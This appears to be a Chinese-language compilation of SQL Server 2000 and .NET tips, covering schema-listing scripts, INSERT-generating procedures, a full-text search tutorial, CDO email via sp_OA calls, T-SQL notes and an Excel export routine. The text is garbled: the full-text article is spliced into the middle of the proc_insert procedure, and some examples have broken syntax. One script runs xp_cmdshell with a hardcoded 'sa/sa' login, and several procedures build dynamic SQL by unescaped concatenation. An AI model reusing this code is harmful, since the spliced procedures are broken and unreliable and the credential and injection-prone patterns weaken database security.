   WHEN t.name IN ('decimal', 'numeric') THEN 2
   ELSE 0
  END AS nAlternateType,
  c.length AS nColumnLength,
  c.prec AS nColumnPrecision,
  c.scale AS nColumnScale,
  c.IsNullable,
  SIGN(c.status & 128) AS IsIdentity,
  t.name as sTypeName,
  dbo.fnColumnDefault(@sTableName, c.name) AS sDefaultValue
 FROM syscolumns c
  INNER JOIN systypes t ON c.xtype = t.xtype and c.usertype = t.usertype
 WHERE c.id = OBJECT_ID(@sTableName)

 

 

 


GO
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS ON
GO

SET QUOTED_IDENTIFIER ON
GO
SET ANSI_NULLS ON
GO

CREATE FUNCTION dbo.fnTableHasPrimaryKey(@sTableName varchar(128))
RETURNS bit
AS
BEGIN
 DECLARE @nTableID int,
  @nIndexID int
 
 SET  @nTableID = OBJECT_ID(@sTableName)
 
 SELECT  @nIndexID = indid
 FROM  sysindexes
 WHERE  id = @nTableID
  AND  indid BETWEEN 1 And 254
  AND  (status & 2048) = 2048
 
 IF @nIndexID IS NOT Null
  RETURN 1
 
 RETURN 0
END


GO
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS ON
GO

 

-- ======================================================

--列出SQL SERVER 所有表,字段名,主键,类型,长度,小数位数等信息

--在查询分析器里运行即可,可以生成一个表,导出到EXCEL中

-- ======================================================

SELECT

       (case when a.colorder=1 then d.name else '' end)表名,

       a.colorder 字段序号,

       a.name 字段名,

       (case when COLUMNPROPERTY( a.id,a.name,'IsIdentity')=1 then '√'else '' end) 标识,

       (case when (SELECT count(*)

       FROM sysobjects

       WHERE (name in

                 (SELECT name

                FROM sysindexes

                WHERE (id = a.id) AND (indid in

                          (SELECT indid

                         FROM sysindexkeys

                         WHERE (id = a.id) AND (colid in

                                   (SELECT colid

                                  FROM syscolumns

                                  WHERE (id = a.id) AND (name = a.name))))))) AND

              (xtype = 'PK'))>0 then '√' else '' end) 主键,

       b.name 类型,

       a.length 占用字节数,

       COLUMNPROPERTY(a.id,a.name,'PRECISION') as 长度,

       isnull(COLUMNPROPERTY(a.id,a.name,'Scale'),0) as 小数位数,

       (case when a.isnullable=1 then '√'else '' end) 允许空,

       isnull(e.text,'') 默认值,

       isnull(g.[value],'') AS 字段说明   

 

FROM  syscolumns  a left join systypes b

on  a.xtype=b.xusertype

inner join sysobjects d

on a.id=d.id  and  d.xtype='U' and  d.name<>'dtproperties'

left join syscomments e

on a.cdefault=e.id

left join sysproperties g

on a.id=g.id AND a.colid = g.smallid 

order by a.id,a.colorder

-------------------------------------------------------------------------------------------------

 

 

 

 

 

 

列出SQL SERVER 所有表、字段定义,类型,长度,一个值等信息

并导出到Excel 中

-- ======================================================

-- Export all user tables definition and one sample value

-- jan-13-2003,Dr.Zhang

-- ======================================================

在查询分析器里运行:

SET ANSI_NULLS OFF

GO

SET NOCOUNT ON

GO

 

SET LANGUAGE 'Simplified Chinese'

go

DECLARE @tbl nvarchar(200),@fld nvarchar(200),@sql nvarchar(4000),@maxlen int,@sample nvarchar(40)

 

SELECT d.name TableName,a.name FieldName,b.name TypeName,a.length Length,a.isnullable IS_NULL INTO #t

FROM  syscolumns  a,  systypes b,sysobjects d 

WHERE  a.xtype=b.xusertype  and  a.id=d.id  and  d.xtype='U'

 

DECLARE read_cursor CURSOR

FOR SELECT TableName,FieldName FROM #t

 

SELECT TOP 1 '_TableName                     ' TableName,

            'FieldName                      ' FieldName,'TypeName             ' TypeName,

            'Length' Length,'IS_NULL' IS_NULL,

            'MaxLenUsed' AS MaxLenUsed,'Sample Value          ' Sample,

             'Comment   ' Comment INTO #tc FROM #t

 

OPEN read_cursor

 

FETCH NEXT FROM read_cursor INTO @tbl,@fld

WHILE (@@fetch_status <> -1)  --- failes

BEGIN

       IF (@@fetch_status <> -2) -- Missing

       BEGIN

              SET @sql=N'SET @maxlen=(SELECT max(len(cast('+@fld+' as nvarchar))) FROM '+@tbl+')'

              --PRINT @sql

              EXEC SP_EXECUTESQL @sql,N'@maxlen int OUTPUT',@maxlen OUTPUT

              --print @maxlen

              SET @sql=N'SET @sample=(SELECT TOP 1 cast('+@fld+' as nvarchar) FROM '+@tbl+' WHERE len(cast('+@fld+' as nvarchar))='+convert(nvarchar(5),@maxlen)+')'

              EXEC SP_EXECUTESQL @sql,N'@sample varchar(30) OUTPUT',@sample OUTPUT

              --for quickly  

              --SET @sql=N'SET @sample=convert(varchar(20),(SELECT TOP 1 '+@fld+' FROM '+

                     --@tbl+' order by 1 desc ))' 

              PRINT @sql

              print @sample

              print @tbl

              EXEC SP_EXECUTESQL @sql,N'@sample nvarchar(30) OUTPUT',@sample OUTPUT

              INSERT INTO #tc SELECT *,ltrim(ISNULL(@maxlen,0)) as MaxLenUsed,

                     convert(nchar(20),ltrim(ISNULL(@sample,' '))) as Sample,' ' Comment FROM #t where TableName=@tbl and FieldName=@fld

       END

       FETCH NEXT FROM read_cursor INTO @tbl,@fld

END

 

CLOSE read_cursor

DEALLOCATE read_cursor

GO

 

SET ANSI_NULLS ON

GO

SET NOCOUNT OFF

GO

select count(*)  from #t

DROP TABLE #t

GO

 

select count(*)-1  from #tc

 

select * into ##tx from #tc order by tablename

DROP TABLE #tc

 

--select * from ##tx

 

declare @db nvarchar(60),@sql nvarchar(3000)

set @db=db_name()

--请修改用户名和口令 导出到Excel 中

set @sql='exec master.dbo.xp_cmdshell ''bcp ..dbo.##tx out c:\'+@db+'_exp.xls -w -C936 -Usa -Psa '''

print @sql

exec(@sql)

GO

DROP TABLE ##tx

GO

 

 

 

-- ======================================================

--根据表中数据生成insert语句的存储过程

--建立存储过程,执行 spGenInsertSQL 表名

--感谢playyuer

-- ======================================================

CREATE   proc spGenInsertSQL (@tablename varchar(256))

 

as

begin

  declare @sql varchar(8000)

  declare @sqlValues varchar(8000)

  set @sql =' ('

  set @sqlValues = 'values (''+'

  select @sqlValues = @sqlValues + cols + ' + '','' + ' ,@sql = @sql + '[' + name + '],'

    from

        (select case

                  when xtype in (48,52,56,59,60,62,104,106,108,122,127)                               

                       then 'case when '+ name +' is null then ''NULL'' else ' + 'cast('+ name + ' as varchar)'+' end'

                  when xtype in (58,61)

                       then 'case when '+ name +' is null then ''NULL'' else '+''''''''' + ' + 'cast('+ name +' as varchar)'+ '+'''''''''+' end'

                 when xtype in (167)

                       then 'case when '+ name +' is null then ''NULL'' else '+''''''''' + ' + 'replace('+ name+','''''''','''''''''''')' + '+'''''''''+' end'

                  when xtype in (231)

                       then 'case when '+ name +' is null then ''NULL'' else '+'''N'''''' + ' + 'replace('+ name+','''''''','''''''''''')' + '+'''''''''+' end'

                  when xtype in (175)

                       then 'case when '+ name +' is null then ''NULL'' else '+''''''''' + ' + 'cast(replace('+ name+','''''''','''''''''''') as Char(' + cast(length as varchar)  + '))+'''''''''+' end'

                  when xtype in (239)

                       then 'case when '+ name +' is null then ''NULL'' else '+'''N'''''' + ' + 'cast(replace('+ name+','''''''','''''''''''') as Char(' + cast(length as varchar)  + '))+'''''''''+' end'

                  else '''NULL'''

                end as Cols,name

           from syscolumns 

          where id = object_id(@tablename)

        ) T

  set @sql ='select ''INSERT INTO ['+ @tablename + ']' + left(@sql,len(@sql)-1)+') ' + left(@sqlValues,len(@sqlValues)-4) + ')'' from '+@tablename

  --print @sql

  exec (@sql)

end

 

GO

 

 

 

-- ======================================================

--根据表中数据生成insert语句的存储过程

--建立存储过程,执行 proc_insert 表名

--感谢Sky_blue

-- ======================================================

 

CREATE proc proc_insert (@tablename varchar(256))

as

begin

       set nocount on

       declare @sqlstr varchar(4000)

       declare @sqlstr1 varchar(4000)

       declare @sqlstr2 varchar(4000)

       select @sqlstr='select ''insert '+@tablename

       select @sqlstr1=''

       select @sqlstr2=' ('

       select @sqlstr1= ' values ( ''+'

       select @sqlstr1=@sqlstr1+col+'+'',''+' ,@sqlstr2=@sqlstr2+name +',' from (select case

--     when a.xtype =173 then 'case when '+a.name+' is null then ''NULL'' else '+'convert(varchar('+convert(varchar(4),a.length*2+2)+'),'+a.name +')'+' end'

       when a.xtype =104 then 'case when '+a.name+' is null then ''NULL'' else '+'convert(varchar(1),'+a.name +')'+' end'

       when a.xtype =175 then 'case when '+a.name+' is null then ''NULL'' else '+'''''''''+'+'replace('+a.name+','''''''','''''''''''')' + '+'''''''''+' end'

       when a.xtype =61  then 'case when '+a.name+' is null then ''NULL'' else '+'''''''''+'+'convert(varchar(23),'+a.name +',121)'+ '+'''''''''+' end'

       when a.xtype =106 then 'case when '+a.name+' is null then ''NULL'' else '+'convert(varchar('+convert(varchar(4),a.xprec+2)+'),'+a.name +')'+' end'

       when a.xtype =62  then 'case when '+a.name+' is null then ''NULL'' else '+'convert(varchar(23),'+a.name +',2)'+' end'

       when a.xtype =56  then 'case when '+a.name+' is null then ''NULL'' else '+'convert(varchar(11),'+a.name +')'+' end'

       when a.xtype =60  then 'case when '+a.name+' is null then ''NULL'' else '+'convert(varchar(22),'+a.name +')'+' end'

       when a.xtype =239 then 'case when '+a.name+' is null then ''NULL'' else '+'''''''''+'+'replace('+a.name+','''''''','''''''''''')' + '+'''''''''+' end'

       when a.xtype =108 then 'case when '+a.name+' is null then ''NULL'' else '+'convert(varchar('+convert(varchar(4),a.xprec+2)+'),'+a.name +')'+' end'

       when a.xtype =231 then 'case when '+a.name+' is null then ''NULL'' else '+'''''''''+'+'replace('+a.name+','''''''','''''''''''')' + '+'''''''''+' end'

       when a.xtype =59  then 'case when '+a.name+' is null then ''NULL'' else '+'convert(varchar(23),'+a.name +',2)'+' end'

       when a.xtype =58  then 'case when '+a.name+' is null then ''NULL'' else '+'''''''''+'+'convert(varchar(23),'+a.name +',121)'+ '+'''''''''+' end'

       when a.xtype =52  then 'case when '+a.name+' is null then ''NULL'' else '+'convert(varchar(12),'+a.name +')'+' end'

       when a.xtype =122 then 'case when '+a.name+' is null then ''NULL'' else '+'convert(varchar(22),'+a.name +')'+' end'

       when a.xtype =48  then 'case when '+a.name+' is null then ''NULL'' else '+'convert(varchar(6),'+a.name +')'+' end'

--     when a.xtype =165 then 'case when '+a.name+' is null then ''NULL'' else '+'convert(varchar('+convert(varchar(4),a.length*2+2)+'),'+a.name +')'+' end'

       when a.xtype =167 then 'case when '+a.name+' is null then ''NULL'' else '+'''''''''+'+'replace('+a.name+','''''''','''''''''''')' + '+'''''''''+' end'

       else '''NULL'''

       end as col,a.colid,a.name

       from syscolumns a where a.id = object_id(@tablename) and a.xtype <>189 and a.xtype <>34 and a.xtype <>35 and  a.xtype <>36

       )t order by colid

      

       select @sqlstr=@sqlstr+left(@sqlstr2,len(@sqlstr2)-1)+') '+left(@sqlstr1,len(@sqlstr1)-3)+')'' from '+@tablename

--  print @sqls使用SQL SERVER 2000的全文检索功能

步骤:

1、  打开NorthWind数据库,右键Products表,选择“全文索引表”,“在表上定义全文索引”,为其创建全文目录。在“全文索引向导”中,选择你需要全文查询条件的列(可以是文本或图像),我们选择Productname和QuantityPerUnit列。然后下一步,输入一个新的目录proCatalog,点击下一步。在填充调度一项里,我们暂时不建立填充调度。接着“下一步”,全成全文索引向导。完成后,我们可以看到在“全文目录”里,多了一个全文目录proCatalog。右键proCatalog属性,可以看到其状态、表、调度情况。

 

2、  右键全文目录proCatalog, “启动完全填充”,系统会出现“全文目录填充成功启动”。

 

3、  这时,我们可以使用Transact-SQL进行全文检索了,我们使用CONTAINS、FREETEXT等谓词。如:

 

检索ProductName中,即包含b又包含c的所有列

SELECT *

FROM Products

WHERE CONTAINS(ProductName, '"c*" and "b*" ')

 

检索ProductName中,即包含chai chang tofu之一的所有列

SELECT *

FROM Products

WHERE FREETEXT(ProductName, 'chai chang tofu ')

 

我们还可以使用CONTAINSTABLE、FREETEXTTABLE等

 

4、  我们可以用.NET创建WEB或Form客户端,提供一个良好的全文检索界面,使自己的应用程序得到扩展

 

 

 

参考:
全文查询有关的系统存储过程

(1)启动数据库的全文处理功能(sp_fulltext_datebase);
(2)建立全文目录(sp_fulltext_catalog);
(3)在全文目录中注册需要全文索引的表(sp_fulltext_table);
(4)指出表中需要全文检索的列名(sp_fulltext_column)
(5)为表创建全文索引(sp_fulltext_table);
(6)填充全文索引(sp_fulltext_catalog)。

 

 

 

全文查询支持

Microsoft® SQL Server™ 2000 在接收带全文构造的 Transact-SQL 语句时,使用全文提供程序从 Microsoft 搜索服务检索所需信息。全文构造是 CONTAINS 或 FREETEXT 谓词,或者是 CONTAINSTABLE 或 FREETEXTTABLE 行集函数。如果不知道包含搜索条件的列,全文构造可以在全文索引中引用多列。该进程的流程如下图所示。

 


这一进程涉及的步骤包括:

应用程序给 SQL Server 实例发送带全文构造的 Transact-SQL 语句。

SQL Server 关系引擎通过查询系统表验证全文构造,确定全文索引是否覆盖列引用。关系引擎将每个 SQL 语句简化为一系列行集操作,并使用 OLE DB 将这些操作传递给基础组件,通常是存储引擎。关系引擎通过全文提供程序而不是存储引擎,将任何全文构造转换成对行集的请求。请求的行集是满足搜索条件和等级的键集,而这个等级表示每个键的数据满足搜索条件的程度。向全文提供程序发送的行集请求命令包括全文检索条件。

全文提供程序验证请求并将搜索条件更改为由Microsoft 搜索服务的查询支持组件使用的形式。将请求发送到搜索服务。

查询支持组件使用搜索引擎组件从全文索引析取所请求的数据。然后以行集的形式将这些数据传递回全文提供程序。

全文提供程序将这个行集返回给关系引擎。

关系引擎将它从存储引擎和全文提供程序收到的所有行集进行组合,以生成发送回客户端的最终结果集。

 

全文目录和索引

Microsoft® SQL Server™ 2000 全文索引为在字符串数据中进行复杂的词搜索提供有效支持。全文索引存储关于重要词和这些词在特定列中的位置的信息。全文查询利用这些信息,可快速搜索包含具体某个词或一组词的行。

全文索引包含在全文目录中。每个数据库可以包含一个或多个全文目录。一个目录不能属于多个数据库,而每个目录可以包含一个或多个表的全文索引。一个表只能有一个全文索引,因此每个有全文索引的表只属于一个全文目录。

全文目录和索引不存储在它们所属的数据库中。目录和索引由 Microsoft 搜索服务分开管理。

全文索引必须在基表上定义,而不能在视图、系统表或临时表上定义。 全文索引的定义包括:

能唯一标识表中各行的列(主键或候选键),而且不允许 NULL 值。

索引所覆盖的一个或多个字符串列。

全文索引由键值填充。每个键的项提供与该键相关联的重要词(干扰词或终止词除外)、它们所在的列和它们在列中的位置等有关信息。

格式化文本字符串(如 Microsoft® Word™ 文档文件或 HTML 文件)不能存储在字符串或 Unicode 列中,因为这些文件中的许多字节包含不构成有效字符的数据结构。数据库应用程序可能仍需要访问这些数据并对其应用全文检索。因为 image 列并不要求每一字节都构成一个有效字符,所以许多站点将这类数据存储在 image 列中。SQL Server 2000 引入了对存储在 image 列中的这些类型的数据执行全文检索的能力。SQL Server 2000 提供筛选,可从 Microsoft Office™ 文件(.doc、.xls 和 .ppt 文件)、文本文件(.txt 文件)及 HTML 文件(.htm 文件)中析取文本化数据。设计表时除包括保存数据的 image 列外,还需包括绑定列来保存存储在 image 列中的数据格式的文件扩展名。可以创建引用 image 列和绑定列的全文索引,以便在存储于 image 列中的文本化信息上启用全文检索。SQL Server 2000 全文检索引擎使用绑定列中的文件扩展名信息,选择从列中析取文本化数据的合适的筛选。

全文索引是用于执行两个 Transact-SQL 谓词的组件,以便根据全文检索条件对行进行测试:

CONTAINS

FREETEXT

Transact-SQL 还包含两个返回符合全文检索条件的行集的函数:

CONTAINSTABLE

FREETEXTTABLE

SQL Server 在内部将搜索条件发送给 Microsoft 搜索服务。Microsoft 搜索服务查找所有符合全文检索条件的键并将它们返回给 SQL Server。SQL Server 随后使用键的列表来确定表中要处理的行。

全文索引

对 Microsoft® SQL Server™ 2000 数据的全文支持涉及两个功能:对字符数据发出查询的能力和创建及维护基础索引以简化这些查询的能力。

全文索引在许多地方与普通的 SQL 索引不同。

普通 SQL 索引
 全文索引
 
存储时受定义它们所在的数据库的控制。
 存储在文件系统中,但通过数据库管理。
 
每个表允许有若干个普通索引。
 每个表只允许有一个全文索引。
 
当对作为其基础的数据进行插入、更新或删除时,它们自动更新。
 将数据添加到全文索引称为填充,全文索引可通过调度或特定请求来请求,也可以在添加新数据时自动发生。
 
不分组。
 在同一个数据库内分组为一个或多个全文目录。
 
使用 SQL Server 企业管理器、向导或 Transact-SQL 语句创建和除去。
 使用 SQL Server 企业管理器、向导或存储过程创建、管理和除去。
 


 

这些差异使大量管理任务变得不可缺少。全文管理是在几个层次上实施的:

服务器

可以对服务器范围的某些属性(如 resource_usage)加以设置,以便增加或减少全文服务所使用的系统资源数量。


说明  全文引擎作为名为 Microsoft 搜索的服务在 Microsoft Windows NT® Server 和 Microsoft Windows® 2000 Server 上运行。对于 Microsoft SQL Server 个人版,Microsoft 搜索服务不可用。尽管这意味着 Microsoft 搜索服务既未安装在 Microsoft Windows 95/98 上,也未安装在 Windows NT 工作站或 Windows 2000 Professional 客户端上,但这些客户端在连接到 SQL Server 标准版安装或企业版实例时可以使用这项服务。

数据库

必须启用数据库才能使用全文服务。可以在已启用的数据库中创建和除去一个或多个全文目录的元数据。

全文目录

全文目录包含数据库中的全文索引。每个目录可以用于数据库内的一个或多个表的索引需求。该目录中的索引是使用这里介绍的管理功能来填充的。(全文目录必须驻留在与 SQL Server 实例相关联的本地硬盘驱动器上。不支持可移动的驱动器、软盘和网络驱动器)。在每个服务器上最多可创建 256 个全文目录。


说明  Windows NT 故障转移群集环境完全支持全文索引。有关更多信息,请参见在故障转移群集中运行全文查询。

首先,必须为全文支持启用表。然后,为与该表相关联的全文索引创建元数据(如表名及其全文目录)。表启用后,可以用为全文支持而启用的列中的数据填充它。如果表的全文定义被更改(例如,添加一个也将为全文检索而索引的新列),则必须重新填充相关的全文目录以使全文索引与新的全文定义同步。

可以从非活动的注册表中添加或除去支持全文查询的列。

在所有这些级别上,可使用工具检索元数据和状态信息。

和常规 SQL 索引一样,当在相关表中修改数据时,可自动更新全文索引。或者,也可以适当的间隔手工重新填充全文索引。这种重写可能既耗时又大量占用资源,因此,在数据库活动较少时,这通常是在后台运行的异步进程。

应将具有相同更新特性的表(如更改少的与更改多的,或在一天的特定时段内频繁更改的表)组合在一起,并分配给相同的全文目录。通过以此方法设置全文目录填充调度,使得全文索引和表保持同步,且在数据库活动较多时不对数据库服务器的资源使用产生负面影响。

为全文目录中的表安排全文索引的位置是非常重要的。在为全文目录指定表时,应该注意下列基本原则:

始终选择可用于全文唯一键的最小唯一索引。(4 个字节且基于整数的索引是最佳的。)这将显著减少文件系统中 Microsoft 搜索服务所需要的资源。如果主键很大(超过 100 字节),可以考虑选择表中其它唯一索引(或创建另一个唯一索引)作为全文唯一键。否则,如果全文唯一键的大小达到允许的上限(450 字节),全文填充将无法继续进行。

如果进行索引的表有成千上万行,请将该表指定给其自己的全文目录。

应该考虑对其进行全文索引的表中发生的更改数以及表的行数。如果要更改的总行数,加上上次全文填充期间表中出现的行数达到成千上万行,请将该表指定给其自己的全文目录。

请参见

sp_fulltext_table

CONTAINS

一个谓词,用于搜索包含基于字符的数据类型的列,该列与单个词和短语,以及与另一个词一定范围之内的近似词精确或模糊(不太精确的)匹配或者加权匹配。CONTAINS 可以搜索:

词或短语。

词或短语的前缀。

另一个词附近的词。

由另一个词的词尾变化生成的词(例如,词 drive 是 drives、drove、driving 和 driven 词尾变化的词干)。

比另一个词具有更高加权的词。

语法
CONTAINS
    ( { column | * } , '< contains_search_condition >'     )

 

FREETEXT

是个谓词,用于搜索含有基于字符的数据类型的列,其中的值符合在搜索条件中所指定文本的含义,但不符合表达方式。使用 FREETEXT 时,全文查询引擎内部将 freetext_string 拆分为若干个搜索词,并赋予每个词以不同的加权,然后查找匹配。

语法

FREETEXT ( { column | * } , 'freetext_string' )

 

CONTAINSTABLE 和 FREETEXTTABLE 函数用来指定返回每行的相对排名的全文查询。这两个函数与全文谓词 CONTAINS 和 FREETEXT 很相似,但是用法不同。

(此文部分资料来自MSDN)

Author:李洪根

E-MAIL:lihonggen0@163.com 

 

 
tr

       exec( @sqlstr)

       set nocount off

end

GO

 

 

说明:本贴纯属收藏,目的在于大家交流,在此对作者表示感谢!

说是新方式,其实也是早就用到的技术了,所以放上来!

在.NET中,大家知道,可以使用System.Web.Mail来发送邮件。在Framework 1.1下支持验证。

private void Page_Load(object sender, System.EventArgs e)
{
       MailMessage mail = new MailMessage();
       mail.To = "me@mycompany.com";
       mail.From = "you@yourcompany.com";
       mail.Subject = "this is a test email.";
       mail.Body = "Some text goes here";
       mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate", "1"); //basic authentication
       mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendusername", "my_username_here"); //set your username here
      mail.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendpassword", "super_secret"); //set your password here

    SmtpMail.SmtpServer = "mail.mycompany.com";  //your real server goes here
    SmtpMail.Send( mail );
}

以前我曾写过在.NET下发送邮件的方法,详见:

http://dev.csdn.net/develop/article/17/17189.shtm

 

SQL Server中,我们一般使用SQL本身的邮件发送方式,但需要配置Exchage Server、Outlook等,也是一个比较繁琐的事情。很多人抱怨说配置不成功。

其实,我们可以在 SQL Server中创建 OLE 对象实例,调用IIS SMTP自带的发送组件来实现邮件发送。

我们建立这个存储过程,你需要修改的地方是,SmtpServer的名字

Create PROCEDURE sys_sendmail @From varchar(100) , @To varchar(100) , @Bcc varchar(500), @Subject varchar(400)=" ", @Body ntext =" "

AS

Declare @object int
Declare @hr int

EXEC @hr = sp_OACreate 'CDO.Message', @object OUT

EXEC @hr = sp_OASetProperty @object, 'Configuration.fields("http://schemas.microsoft.com/cdo/configuration/sendusing").Value','2'
EXEC @hr = sp_OASetProperty @object, 'Configuration.fields("http://schemas.microsoft.com/cdo/configuration/smtpserver").Value', 'smtp.163.com'

--下面三条语句是smtp验证,如果服务器需要验证,则必须要这三句,你需要修改用户名和密码
EXEC @hr = sp_OASetProperty @object, 'Configuration.fields("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate").Value','1'
EXEC @hr = sp_OASetProperty @object, 'Configuration.fields("http://schemas.microsoft.com/cdo/configuration/sendusername").Value','lihonggen0'
EXEC @hr = sp_OASetProperty @object, 'Configuration.fields("http://schemas.microsoft.com/cdo/configuration/sendpassword").Value','xxx'

EXEC @hr = sp_OAMethod @object, 'Configuration.Fields.Update', null
EXEC @hr = sp_OASetProperty @object, 'To', @To
EXEC @hr = sp_OASetProperty @object, 'Bcc', @Bcc
EXEC @hr = sp_OASetProperty @object, 'From', @From
EXEC @hr = sp_OASetProperty @object, 'Subject', @Subject

EXEC @hr = sp_OASetProperty @object, 'TextBody', @Body
EXEC @hr = sp_OAMethod @object, 'Send', NULL

--判断出错
IF @hr <> 0
BEGIN
   EXEC sp_OAGetErrorInfo @object  
   RETURN @object
END
PRINT 'success'
EXEC @hr = sp_OADestroy @object

GO

注意:必须确保安装Smtp,可以访问CDO对象。
Transact_sql:

  TRUNCATE TABLE test   //用于删除test表中的数据
  CREATE FUNCTION        //创建用户自定义函数
  ALTER FUNCTION         //语句修改
  DROP FUNCTION          //除去用户定义函数
  CREATE UNIQUE CLUSTERED INDEX client_id ON clients(client_id)

sql:
  (1).   group by ... with cube having sum(number)>=40
          下面两语句是为了保持前后兼容
         compute
         compute by
          如果使用COMPUTE BY,则必须也使用ORDER BY子句.
  (2).   JOIN ON 用法
           select book.name,tool.name from book JOIN tool ON (boo.id==tool.id)
         INNER JOIN ON (内联接:用于消除与另一个表中的任何不匹配的行)
           select book.name,tool.name from book JOIN tool ON (boo.id==tool.id)          
         LEFT OUTER JOIN ON (左外联接:)
         FULL OUTER JOIN (完整外部联接:不管另一个表是否有匹配的值,此运算符都包括两个表中所有行)
         CROSS JOIN (交叉连接:显示可能的组合)

  (3).   使用@@ERROR全局变量处理错误:
         SQL Server的所有错误都存储在系统表master.dbo.sysmessages中.用户定义的消息也可以存储在sysmessages中.如果需要,可以使用RAISERROR语句将这些用户定义的错误返回到一个应用程序.若出现一个错误,则返回一条错误信息.
    例子: use test
        drop table text1
        go
        create table text1(c1 int,c2 text)
        exec sp_tableoption 'text1','text in row','on'
        insert text1 values(1,'This is a text.')
        go
        select * from text1
        go
  (4). 检索ntext,text,image
       首先看例题: use test
          go
          create table text1(c1 int,c2 text)
          exec sp_tableoption 'text1','text in row','on'
          insert text1 values('1','This is a text.')
          go
          select * from text1
          go
    有几种方法:
      1.在SELECT语句中引用该列
      2.使用TEXTTPTR函数
      3.使用SUBTRING函数
      4.使用PATINDEX函数
    例题:
      a. exec sp_tableoption 'text1','text in row','off'
         declare @ptrval varbinary(16)
         select @ptrval=TEXTPTR(c2)
            from text1
         READTEXT text1.c2 @ptrval 0 7
      b. select substring(c2,1,7) as c2
         from text1
      c. use text
         go
         select patindex('%a%',c2) as 起始位置
            from text1
         go
 (5).修改ntext,text或image值
     可以使用下面的几种方式来修改:
        1. 使用数据库API函数;
        2. 使用WRITETEXT语句重写该列的整个数据值;
        3. 使用UPDATETEXT语句更新ntext,text或image列的特定数据块.      
   example:
      1. use test
         go
         declare @ptrval varbinary(16)
         exec sp_tableoption 'text1','text in row','off'
         select @ptrval=textptr(c2) from text1
         writetext text1.c2 @ptrval 'This is a modified text.'
         go
         select * from text1
         go
     2.  use text
         go
         declare @ptrval varbinary(16)
         select @ptrval=textptr(c2)
              from text1
         updatetext text1.c2 @ptrval NULL 0 'this is an inserted text.'
         go
         select * from text1
         go
(6).显示事务:需要显示的定义事务的启动和结束.它是通过BEGIN TRANSACTION,COMMIT TRANSACTION,COMMIT WORK,ROLLBACK TRANSACTION,ROLLBACK WORK 等Transact-SQL语句来完成的.
      1.启动事务使用BEGIN TRANSACTION语句.如果遇到错误,以后的语句能自动回滚.
      2.结束事务使用COMMIT TRANSACTION语句.该事务中的所有修改都将永久有效.事务占用的资源被释放.
      3.回滚事务使用ROLLBACK TRANSACTION清除自事务的起点或到某个保存点所有数据修改.ROLLBACK不释放由事务控制的资源.   
      4.保存点使用SAVE TRANSACTION语句.如果有条件地取消事务的一部分,事务可以返回的位置.
   example:
       use bookdb
       go
       begin tran MyTran  --启动事务
       insert into book values(9,'Windows 2000 Professional 看图速成',1,35,'2')
       save tran MySave  --保存点
       delete book where book_id=9  --删除记录
       rollback tran MySave  --回滚事务
       commit tran
       go
       select * from book   
    5. 标记事务用WITH MARK选项使事务名置于事务日志中.将数据库还原到早期状态时,可使用标记事务替代日期和时间.
(7).自动提交事务
(8).自定义锁
    自定义锁超时:
     set lock_timeout 1800
     go
     declare @timeout int
     select @timeout=@@lock_timeout
     print @timeout
     go
    自定义隔离级别:
     use bookdb
     go
     set transaction isolation level serializable
     go
     begin transaction
     select *from book
     go
     dbcc useroptions--(显示当隔离级别) 
     go
    锁定提示:
      use bookdb
      go
      set transaction isolation level serializable
      go
      begin transaction
      select book_name from book with (nolock)
      exec sp_lock --(显示锁定)
      go
     返回数据库被锁定对象
      select object_name(725577623)
      go  
(9)游标
   SQL Server支持四种API服务器游标:
      * 静态游标
      * 动态游标
      * 只进游标
      * 键集驱动游标
    ROWCOUNT返回上次操作影响的行数.
        use bookdb
        go
        set nocount on
        update book set book_name='LINUX教程'
           where book_id=20
        if @@ROWCOUNT=0
            print '没有行被更新!'
        go
     游标示例:
        --声明游标
        declare book_cursor cursor
            for select *from book
        open book_cursor
        --提取一行数据
        fetch next from book_cursor
        close book_cursor
        deallocate book_cursor  
(10)视图
     use bookdb
     go
     create view dbo.book_total
     as
     select abo.book.book_name as 书名,
        abo.book.price as 价格,
        abo.orderform.book_number as 数量,
        abo.book.price*abo.orderform.book_number
           as 总额
      from abo.orderform inner join dbo.book on dbo.orderform.book_id=abo.book.book_id 
      go
    通过视图修改数据 
 use test
        go
 /*如果表Table1存在,则删除*/
 if exists(select table_name from information_schema.tables
            where table_name='Table1')                 
  drop table Table1
 go
 /*如果视图View1存在,则删除*/
 if exists(select table_name from information_schema.views
       where table_name='View1')
         drop view View1
 go
 /*创建表Table1*/
 create table Table1(column_1 int,column_2 varchar(30))
  go
 /*创建视图View1*/
 create view View1 as select column_2,column_1
 from Table1
 go
 /*通过视图View1插入一笔记录*/
 insert into View1 values('Row1',1)
 /*检查结果*/
 select * from Table1


(一).内容

   在操作Excel的过程中遇到了一些问题. 比如: 访问Com组件权限,无法读取Excel等
   文章描述了怎样双向操作(读取和生成)Excel文件,以及怎样解决遇到的问题!

(二).代码
   开始时用了下面两个方法进行生成和读取 Excel:
   1.生成Excel文件方法一:
      ' <summary>
    '  下载Excel方法1(用流实现)
    ' </summary>
    ' <param name="dt">要转换为Excel文件的表</param>
    ' <param name="page">页面Page对象,用法: 将me.Page传递过来即可</param>
    Public Sub DownLoadExcelToClient1(ByVal dt As DataTable, ByVal FileName As String)
        Dim resp As HttpResponse
        resp = Page.Response
        resp.ContentEncoding = System.Text.Encoding.Default

'System.Text.Encoding.GetEncoding("GB2312")
        resp.AppendHeader("Content-Disposition", "attachment;filename=" + FileName)
        Dim colHeaders As String = "", ls_item = ""
        Dim i As Int16 = 0

        '取得数据表各列标题,各标题之间以\t分割,最后一个列标题后加回车符
        For i = 0 To dt.Columns.Count - 2
            colHeaders += dt.Columns(i).Caption.ToString() & Chr(9)
        Next
        colHeaders += dt.Columns(i).Caption.ToString() & Chr(13)
        '向HTTP输出流中写入取得的数据信息
        resp.Write(colHeaders)

        Dim row As DataRow
        '逐行处理数据  
        For Each row In dt.Rows
            '在当前行中,逐列获得数据,数据之间以\t分割,结束时加回车符\n
            For i = 0 To dt.Columns.Count - 2
                ls_item &= row(i).ToString() & Chr(9)
            Next i
            ls_item &= row(i).ToString() & Chr(13)

            '当前行数据写入HTTP输出流,并且置空ls_item以便下行数据    
            resp.Write(ls_item)
            ls_item = ""
        Next
        '写缓冲区中的数据到HTTP头文件中
        resp.End()
    End Sub
